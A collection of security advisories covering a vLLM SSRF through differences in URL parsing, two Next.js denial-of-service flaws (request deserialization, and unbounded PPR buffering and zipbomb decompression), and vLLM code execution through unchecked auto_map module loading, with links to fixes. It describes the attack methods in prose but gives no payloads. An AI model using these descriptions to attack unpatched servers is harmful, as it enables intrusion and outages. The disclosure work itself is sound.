A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
> def load_from_url(
> self,
> url: str,
> media_io: MediaIO[_M],
> ,
> fetch_timeout: int | None = None,
> ) -> _M: # type: ignore[type-var]
> url_spec = urlparse(url)
>
> if url_spec.scheme.startswith("http"):
> self._assert_url_in_allowed_media_domains(url_spec)
>
> connection = self.connection
> data = connection.get_bytes(
> url,
> timeout=fetch_timeout,
> allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS,
> )
>
> return media_io.load_bytes(data)
The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parse_url function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.
Fix
https://github.com/vllm-project/vllm/pull/32746
Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components
A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as CVE-2026-23864.
A specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.
Next.js has Unbounded Memory Consumption via PPR Resume Endpoint
A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:
1. Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.
2. Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.
Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.
To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.
Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.
vLLM affected by RCE via auto_map dynamic module loading during model initialization
Summary
vLLM loads Hugging Face auto_map dynamic modules during model resolution without gating on trust_remote_code, allowing attacker-controlled Python code in a model repo/path to execute at server startup.
---
Impact
An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load.
This happens before any request handling and does not require API access.
---
Affected Versions
All versions where vllm/model_executor/models/registry.py resolves auto_map entries with try_get_class_from_dynamic_module without checking trust_remote_code (at least current main).
---
Details
During model resolution, vLLM unconditionally iterates auto_map entries from the model config and calls try_get_class_from_dynamic_module, which delegates to Transformers’ get_class_from_dynamic_module and executes the module code.
This occurs even when trust_remote_code is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.
Relevant code
vllm/model_executor/models/registry.py:856 — auto_map resolution
vllm/transformers_utils/dynamic_module.py:13 — delegates to get_class_from_dynamic_module, which executes code
---
Fixes
https://github.com/vllm-project/vllm/pull/32194
Credits
Reported by bugbunny.ai
